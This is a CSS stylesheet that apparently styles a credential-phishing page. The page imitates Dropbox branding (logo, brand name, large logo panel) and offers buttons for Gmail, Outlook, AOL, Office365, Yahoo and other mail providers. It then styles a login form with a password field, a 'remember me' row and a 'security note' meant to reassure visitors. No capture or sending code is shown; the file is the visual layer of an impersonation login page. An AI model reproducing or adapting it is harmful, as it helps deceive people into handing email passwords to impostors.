/* ==========================================
   GLOBAL
========================================== */

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

html,
body {
    width: 100%;
    min-height: 100%;
}

body {
    font-family: Arial, Helvetica, sans-serif;

    background:
        linear-gradient(
            rgba(21, 12, 31, 0.72),
            rgba(22, 16, 43, 0.76)
        ),
        url("https://images.unsplash.com/photo-1497366754035-f200968a6e72?auto=format&fit=crop&w=2000&q=80");

    background-size: cover;
    background-position: center;
    background-attachment: fixed;

    color: #ffffff;
}


/* ==========================================
   PAGE CONTAINER
========================================== */

.page-container {
    min-height: 100vh;

    display: flex;
    flex-direction: column;
}


/* ==========================================
   HEADER
========================================== */

.top-header {
    width: 100%;

    padding-top: 28px;
    padding-bottom: 18px;

    display: flex;
    flex-direction: column;
    align-items: center;

    background: rgba(20, 10, 29, 0.32);
}


.dropbox-brand {
    display: flex;
    align-items: center;
    gap: 12px;
}


.brand-name {
    font-size: 43px;
    font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
    font-weight: 700;

    letter-spacing: -1.5px;

    color: #70272D;

    display: flex;
    align-items: center;

    justify-content: space-between;

    gap: 10px;
}


.dropbox-logo {
    width: 54px;
    height: 54px;

    position: relative;
}


.dropbox-logo span {
    position: absolute;

    width: 17px;
    height: 14px;

    background: #f5c94a;

    transform: rotate(0deg);
}


.dropbox-logo span:nth-child(1) {
    left: 3px;
    top: 7px;
}

.dropbox-logo span:nth-child(2) {
    right: 3px;
    top: 7px;
}

.dropbox-logo span:nth-child(3) {
    left: 3px;
    top: 25px;
}

.dropbox-logo span:nth-child(4) {
    right: 3px;
    top: 25px;
}

.dropbox-logo span:nth-child(5) {
    left: 18px;
    top: 35px;

    transform: rotate(45deg);
}

.dropbox-logo-a {
    width: 54px;
    height: 54px;
    filter: invert(83%) sepia(35%) saturate(795%) hue-rotate(340deg) brightness(101%) contrast(92%); 
    position: relative;
    opacity: 0.4;
}

.provider-heading {
    margin-top: 5px;

    font-size: 25px;
    font-weight: 500;

    color: #f7e9bd;
}


/* ==========================================
   MAIN CARD
========================================== */

.main-card {
    width: min(1110px, 92%);

    min-height: 495px;

    margin: 85px auto 40px;

    display: grid;

    grid-template-columns: 1fr 1fr;

    background: rgba(24, 19, 44, 0.48);

    border: 1px solid rgba(255, 255, 255, 0.13);

    box-shadow:
        0 20px 60px rgba(0, 0, 0, 0.42);

    backdrop-filter: blur(4px);
}


/* ==========================================
   LEFT PANEL
========================================== */

.left-panel {
    border-right: 1px solid rgba(255, 255, 255, 0.32);

    display: flex;
    align-items: center;
    justify-content: center;

    padding: 40px;
}


.left-content {
    width: 100%;
    text-align: center;
}


.left-content h1 {
    font-size: 31px;

    line-height: 1.2;

    color: #f5e7b4;

    margin-bottom: 17px;
}


.subtitle {
    font-size: 17px;

    line-height: 1.5;

    font-weight: 600;

    color: #f8f2e4;
}


.large-dropbox-logo {
    width: 180px;
    height: 145px;

    margin: 30px auto 22px;

    position: relative;
}


.large-dropbox-logo span {
    position: absolute;

    width: 65px;
    height: 50px;

    background: #008cff;

    clip-path: polygon(
        50% 0,
        100% 50%,
        50% 100%,
        0 50%
    );
}


.large-dropbox-logo span:nth-child(1) {
    left: 2px;
    top: 5px;
}

.large-dropbox-logo span:nth-child(2) {
    right: 2px;
    top: 5px;
}

.large-dropbox-logo span:nth-child(3) {
    left: 2px;
    top: 55px;
}

.large-dropbox-logo span:nth-child(4) {
    right: 2px;
    top: 55px;
}

.large-dropbox-logo span:nth-child(5) {
    left: 57px;
    top: 82px;

    width: 65px;
    height: 47px;

    transform: rotate(45deg);
}


.left-content h2 {
    font-size: 20px;

    color: #f3f3f3;

    margin-bottom: 28px;
}


.copyright {
    font-size: 14px;

    color: #f0f0f0;
}


/* ==========================================
   RIGHT PANEL
========================================== */

.right-panel {
    padding: 42px 52px;

    display: flex;
    align-items: center;
}


/* ==========================================
   PROVIDER BUTTONS
========================================== */

.provider-selection {
    width: 100%;

    display: flex;
    flex-direction: column;

    gap: 10px;
}


.provider-button {
    width: 100%;

    min-height: 58px;

    border: none;

    display: flex;
    align-items: center;

    padding: 0 20px;

    gap: 15px;

    color: white;

    font-size: 18px;

    font-weight: 600;

    text-align: left;

    cursor: pointer;

    transition:
        transform 0.18s ease,
        filter 0.18s ease,
        box-shadow 0.18s ease;
}


.provider-button:hover {
    transform: translateX(4px);

    filter: brightness(1.08);

    box-shadow:
        0 6px 18px rgba(0, 0, 0, 0.22);
}


.provider-button:active {
    transform: translateX(2px) scale(0.99);
}


/* ==========================================
   PROVIDER COLORS
========================================== */

.gmail {
    background: #ef654d;
}

.outlook {
    background: #0789dc;
}

.aol {
    background: #5562d5;
}

.office365 {
    background: #ed684e;
}

.yahoo {
    background: #7228df;
}

.other {
    background: #0798e5;
}


/* ==========================================
   PROVIDER ICONS
========================================== */

.provider-icon {
    width: 32px;
    min-width: 32px;

    display: inline-flex;

    align-items: center;
    justify-content: center;

    font-size: 17px;

    font-weight: 700;
}


.gmail-icon {
    color: #4285f4;
    background: #ffffff;

    width: 26px;
    min-width: 26px;
    height: 26px;

    border-radius: 50%;
}


.outlook-icon {
    font-size: 20px;
}


.aol-icon {
    font-size: 13px;
}


.office-icon {
    font-size: 27px;
}


.yahoo-icon {
    font-size: 12px;
}


.mail-icon {
    font-size: 26px;
}


/* ==========================================
   LOGIN CONTAINER
========================================== */

.login-container {
    width: 100%;

    animation: fadeIn 0.25s ease;
}


.hidden {
    display: none !important;
}


.back-button {
    border: none;

    background: transparent;

    color: #ffffff;

    font-size: 16px;

    cursor: pointer;

    margin-bottom: 25px;

    padding: 4px 0;
}


.back-button:hover {
    text-decoration: underline;
}


.login-header {
    text-align: center;

    margin-bottom: 27px;
}


.selected-provider-icon {
    width: 58px;
    height: 58px;

    margin: 0 auto 12px;

    display: flex;

    align-items: center;
    justify-content: center;

    border-radius: 50%;

    background: rgba(255, 255, 255, 0.15);

    font-size: 24px;

    font-weight: 700;
}


.login-header h2 {
    font-size: 27px;

    margin-bottom: 7px;
}


.login-header p {
    color: rgba(255, 255, 255, 0.82);

    font-size: 14px;
}


/* ==========================================
   FORM
========================================== */

.form-group {
    margin-bottom: 18px;
}


.form-group label {
    display: block;

    margin-bottom: 7px;

    font-size: 14px;

    font-weight: 600;
}


.form-group input {
    width: 100%;

    height: 50px;

    border: 1px solid rgba(255, 255, 255, 0.28);

    border-radius: 3px;

    background: rgba(255, 255, 255, 0.94);

    color: #222;

    padding: 0 14px;

    font-size: 15px;

    outline: none;

    transition:
        border-color 0.2s ease,
        box-shadow 0.2s ease;
}


.form-group input:focus {
    border-color: #ffffff;

    box-shadow:
        0 0 0 3px rgba(255, 255, 255, 0.14);
}


.remember-row {
    display: flex;

    align-items: center;

    justify-content: space-between;

    gap: 15px;

    margin: 3px 0 21px;

    font-size: 13px;
}


.remember-label {
    display: flex;

    align-items: center;

    gap: 7px;

    cursor: pointer;
}


.remember-label input {
    cursor: pointer;
}


.remember-row a {
    color: #ffffff;

    text-decoration: none;
}


.remember-row a:hover {
    text-decoration: underline;
}


.submit-button {
    width: 100%;

    height: 51px;

    border: none;

    border-radius: 3px;

    background: #ffffff;

    color: #222;

    font-size: 16px;

    font-weight: 700;

    cursor: pointer;

    transition:
        transform 0.18s ease,
        opacity 0.18s ease;
}


.submit-button:hover {
    transform: translateY(-1px);

    opacity: 0.92;
}


.submit-button:disabled {
    opacity: 0.6;

    cursor: not-allowed;

    transform: none;
}


/* ==========================================
   FORM MESSAGE
========================================== */

.form-message {
    min-height: 22px;

    margin-top: 14px;

    text-align: center;

    font-size: 13px;
}


.form-message.success {
    color: #b9ffcb;
}


.form-message.error {
    color: #ffd0d0;
}


/* ==========================================
   SECURITY NOTE
========================================== */

.security-note {
    display: flex;

    justify-content: center;

    align-items: center;

    gap: 7px;

    margin-top: 24px;

    font-size: 11px;

    color: rgba(255, 255, 255, 0.65);

    text-align: center;
}


/* ==========================================
   ANIMATION
========================================== */

@keyframes fadeIn {

    from {
        opacity: 0;

        transform: translateY(8px);
    }

    to {
        opacity: 1;

        transform: translateY(0);
    }

}


/* ==========================================
   TABLET
========================================== */

@media (max-width: 900px) {

    .main-card {
        width: 94%;

        grid-template-columns: 1fr;

        margin-top: 45px;
    }


    .left-panel {
        border-right: none;

        border-bottom:
            1px solid rgba(255, 255, 255, 0.25);

        padding: 35px 25px;
    }


    .right-panel {
        padding: 35px 40px;
    }


    .large-dropbox-logo {
        margin-top: 22px;
        margin-bottom: 16px;
    }

}


/* ==========================================
   MOBILE
========================================== */

@media (max-width: 600px) {

    body {
        background-attachment: scroll;
    }


    .top-header {
        padding-top: 20px;
    }


    .brand-name {
        font-size: 32px;
    }


    .dropbox-logo {
        width: 43px;
        height: 43px;
    }


    .dropbox-logo span {
        width: 14px;
        height: 11px;
    }


    .dropbox-logo span:nth-child(1) {
        left: 2px;
        top: 5px;
    }


    .dropbox-logo span:nth-child(2) {
        right: 2px;
        top: 5px;
    }


    .dropbox-logo span:nth-child(3) {
        left: 2px;
        top: 20px;
    }


    .dropbox-logo span:nth-child(4) {
        right: 2px;
        top: 20px;
    }


    .dropbox-logo span:nth-child(5) {
        left: 14px;
        top: 28px;
    }


    .provider-heading {
        font-size: 19px;
    }


    .main-card {
        width: 94%;

        margin-top: 30px;
    }


    .left-panel {
        padding: 30px 18px;
    }


    .left-content h1 {
        font-size: 25px;
    }


    .subtitle {
        font-size: 14px;
    }


    .large-dropbox-logo {
        transform: scale(0.78);

        margin-top: 12px;
        margin-bottom: 3px;
    }


    .left-content h2 {
        font-size: 18px;

        margin-bottom: 20px;
    }


    .right-panel {
        padding: 28px 20px;
    }


    .provider-button {
        min-height: 54px;

        padding: 0 14px;

        font-size: 15px;
    }


    .provider-icon {
        width: 27px;
        min-width: 27px;
    }


    .remember-row {
        align-items: flex-start;
    }

}


/* ==========================================
   VERY SMALL SCREENS
========================================== */

@media (max-width: 380px) {

    .brand-name {
        font-size: 28px;
    }


    .provider-heading {
        font-size: 17px;
    }


    .provider-button {
        font-size: 14px;

        gap: 9px;
    }


    .right-panel {
        padding: 25px 15px;
    }

}

/* ==========================================
   PASSWORD WRAPPER
========================================== */

.password-wrapper {
    position: relative;
    width: 100%;
}


.password-wrapper input {
    padding-right: 50px;
}


.password-toggle {
    position: absolute;

    right: 8px;
    top: 50%;

    transform: translateY(-50%);

    width: 38px;
    height: 38px;

    border: none;

    background: transparent;

    color: #555;

    cursor: pointer;

    font-size: 17px;
}


.password-toggle:hover {
    color: #222;
}